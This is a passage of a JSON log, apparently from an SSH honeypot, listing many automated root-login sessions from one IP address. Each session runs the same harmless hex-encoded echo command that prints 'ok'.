  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:46.474744+00:00",
  "ended_at": "2026-08-23T09:27:48.404397+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5fba7dc8-1460-4b3b-a870-27027aa553c2",
  "name": "gnarled-dutiful-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:44.793412+00:00",
  "ended_at": "2026-08-23T09:27:45.728937+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cbc934ca-1430-411b-8dfb-01b24ba16667",
  "name": "thorny-fierce-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:43.179226+00:00",
  "ended_at": "2026-08-23T09:27:44.166906+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83ff03fd-ae63-40c8-bcbe-5b20a0e2fa3a",
  "name": "courtly-granite-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:41.603733+00:00",
  "ended_at": "2026-08-23T09:27:42.521948+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c2bd249-5ba0-4676-a776-ca6464ea9911",
  "name": "calm-drifting-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:39.088278+00:00",
  "ended_at": "2026-08-23T09:27:40.855793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9a5c596a-40b2-4280-8ac0-31decc2e90df",
  "name": "lawful-sunlit-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:37.314326+00:00",
  "ended_at": "2026-08-23T09:27:38.427308+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f1b51884-0f34-4aa1-a8b6-5ac840288de9",
  "name": "gloomy-ginger-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:34.586263+00:00",
  "ended_at": "2026-08-23T09:27:36.625916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08c32cf9-d8fb-4c8e-a782-7bd9087302b6",
  "name": "rustic-umber-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:32.830802+00:00",
  "ended_at": "2026-08-23T09:27:33.751863+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b531b61c-bc3e-4a6b-bd80-5055b3e1d1f9",
  "name": "quaint-inland-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:30.252437+00:00",
  "ended_at": "2026-08-23T09:27:32.101938+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8cd13dd2-d350-4cce-96ce-f210cc442e60",
  "name": "bashful-peaty-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:27.578281+00:00",
  "ended_at": "2026-08-23T09:27:29.524011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2910f36e-aa3a-496b-9648-c57c31f11b77",
  "name": "frosty-balmy-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:24.846257+00:00",
  "ended_at": "2026-08-23T09:27:26.808113+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "542e8348-a7b0-4a8a-b408-418f454a70e6",
  "name": "wandering-meadow-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:22.820505+00:00",
  "ended_at": "2026-08-23T09:27:24.194814+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "022934c9-547e-42a6-ad51-50e39137a12d",
  "name": "graceful-hearty-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:20.400071+00:00",
  "ended_at": "2026-08-23T09:27:22.002057+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64f80b53-4bc8-4320-9d2d-2369ae321664",
  "name": "wiry-hushed-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:18.513509+00:00",
  "ended_at": "2026-08-23T09:27:19.719761+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ec43a3b5-fa65-44c2-b2e7-b7f256fbf436",
  "name": "tangled-courtly-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41280,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:15.593321+00:00",
  "ended_at": "2026-08-23T09:27:17.832928+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb5cdb9f-05ee-4523-8b61-0e045cbfc4bd",
  "name": "rapid-vaulted-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:13.177404+00:00",
  "ended_at": "2026-08-23T09:27:14.974603+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c52ed732-432a-41a5-a9b8-7e0aeeeef099",
  "name": "rugged-vivid-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:10.713591+00:00",
  "ended_at": "2026-08-23T09:27:12.386324+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b4cf475-bb45-4f72-a725-54360d3588e0",
  "name": "golden-cunning-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:08.465197+00:00",
  "ended_at": "2026-08-23T09:27:09.907307+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ab1c19c-4f12-44d8-b0eb-eec647a3565e",
  "name": "ivory-oaken-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:06.119304+00:00",
  "ended_at": "2026-08-23T09:27:07.672077+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d44d0e8-4955-4a22-aef4-18fc42e3211b",
  "name": "lonesome-bashful-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:59.637395+00:00",
  "ended_at": "2026-08-23T09:27:05.350921+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "276f2338-2fbb-4171-8f8e-c29cc138e1a5",
  "name": "slender-thrifty-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:57.524233+00:00",
  "ended_at": "2026-08-23T09:26:58.885810+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7b2e951-33b8-46db-98b6-47ac84842f29",
  "name": "polar-upland-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:55.267298+00:00",
  "ended_at": "2026-08-23T09:26:56.865083+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d26fc244-578d-4512-b055-681f8795b0ed",
  "name": "western-granite-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:53.285301+00:00",
  "ended_at": "2026-08-23T09:26:54.560349+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5348f427-0018-4015-9c15-9cd556a4d834",
  "name": "barren-frank-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:50.618455+00:00",
  "ended_at": "2026-08-23T09:26:52.626855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "04c4c47f-4ddd-426b-b066-57bb42102b2e",
  "name": "curious-misty-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:48.281503+00:00",
  "ended_at": "2026-08-23T09:26:50.004379+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e8aecda2-3d4a-44eb-a11d-4d96335dda6f",
  "name": "gentle-graceful-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39760,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:46.511028+00:00",
  "ended_at": "2026-08-23T09:26:47.605997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8aee41d1-e77a-49b9-87ad-cfc78989f917",
  "name": "upland-smoky-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39748,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:44.815269+00:00",
  "ended_at": "2026-08-23T09:26:45.854204+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d1650e7-5d68-4c1c-9a4c-ac3ac0eea1bb",
  "name": "merry-gritty-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:42.427520+00:00",
  "ended_at": "2026-08-23T09:26:44.143881+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e4d29aa-56ef-4d5f-a34d-76ba7a27b98a",
  "name": "wandering-pewter-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:39.927444+00:00",
  "ended_at": "2026-08-23T09:26:41.780791+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1c1447cd-e10e-4fab-92e5-50a3a3c0e9b3",
  "name": "lively-wistful-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:37.108681+00:00",
  "ended_at": "2026-08-23T09:26:39.188275+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2899f01c-4f6c-42a1-899c-0e892b5cbc81",
  "name": "obsidian-whispering-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:35.502660+00:00",
  "ended_at": "2026-08-23T09:26:36.432837+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "166f7fbb-4c0b-482a-9926-8e12df473a86",
  "name": "craggy-tidal-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:33.352376+00:00",
  "ended_at": "2026-08-23T09:26:34.746844+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "913f01ad-4b81-4048-b4ee-a7b1c030e03a",
  "name": "steady-cobalt-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:30.924947+00:00",
  "ended_at": "2026-08-23T09:26:32.704912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a695bd6e-7194-46f7-9c5a-89bc82a6ecc0",
  "name": "silent-crisp-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:28.352448+00:00",
  "ended_at": "2026-08-23T09:26:30.091768+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e96a2bc4-bb7c-48db-b048-5b8084c94c7d",
  "name": "scarlet-mellow-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:25.806504+00:00",
  "ended_at": "2026-08-23T09:26:27.578808+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "283d17f4-5f4b-4e8b-bf2a-e2281e7ff426",
  "name": "mindful-serene-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:23.288470+00:00",
  "ended_at": "2026-08-23T09:26:25.172227+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d28c0949-cd50-4a1c-a89c-604a776828be",
  "name": "graceful-western-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:21.147381+00:00",
  "ended_at": "2026-08-23T09:26:22.665055+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "23dedc03-43c0-4d53-990d-97947e3a23a1",
  "name": "shifting-lively-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:18.814703+00:00",
  "ended_at": "2026-08-23T09:26:20.321503+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e89c265-5a91-4501-b4c4-07d9e364572d",
  "name": "idle-pewter-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:16.008293+00:00",
  "ended_at": "2026-08-23T09:26:18.006020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "297c45bb-4608-41ce-b330-cbb417792749",
  "name": "lively-quaint-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:13.041036+00:00",
  "ended_at": "2026-08-23T09:26:15.279278+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d630a1e0-bc5c-4f47-82d8-26bb99b0ab17",
  "name": "peaty-bitter-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:11.219032+00:00",
  "ended_at": "2026-08-23T09:26:12.315838+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c8766bd-3441-4f46-9d7f-b5c5f4f92bf3",
  "name": "silent-crimson-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:08.529136+00:00",
  "ended_at": "2026-08-23T09:26:10.406321+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b582f19c-b98d-4397-90fb-2fde54266952",
  "name": "buoyant-lunar-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:05.665591+00:00",
  "ended_at": "2026-08-23T09:26:07.685251+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7366194e-5381-465a-aca3-5fb696ffac95",
  "name": "restless-nautical-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:03.533203+00:00",
  "ended_at": "2026-08-23T09:26:04.972553+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f23d0375-7a50-4efc-95fa-c3324f1316f0",
  "name": "obsidian-supple-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:26:01.286562+00:00",
  "ended_at": "2026-08-23T09:26:02.914422+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "734176fe-53c7-453d-b6f9-5fe92916e418",
  "name": "dusky-twilight-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:58.544246+00:00",
  "ended_at": "2026-08-23T09:26:00.452212+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "49052fba-aa14-44d3-b88c-244f0c4cff77",
  "name": "oaken-thrifty-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:56.071337+00:00",
  "ended_at": "2026-08-23T09:25:57.890371+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f042222f-5d92-4bd8-8aff-9d1df3c48cbb",
  "name": "proud-silent-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:53.486392+00:00",
  "ended_at": "2026-08-23T09:25:55.238939+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "71d2a3d9-b99f-4341-b5e3-6294d390ceac",
  "name": "zealous-deft-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:25:50.822695+00:00",
  "ended_at": "2026-08-23T09:25:52.840701+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4846135c-72cb-4228-aef6-711d68dd9408",
  "name": "placid-clever-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
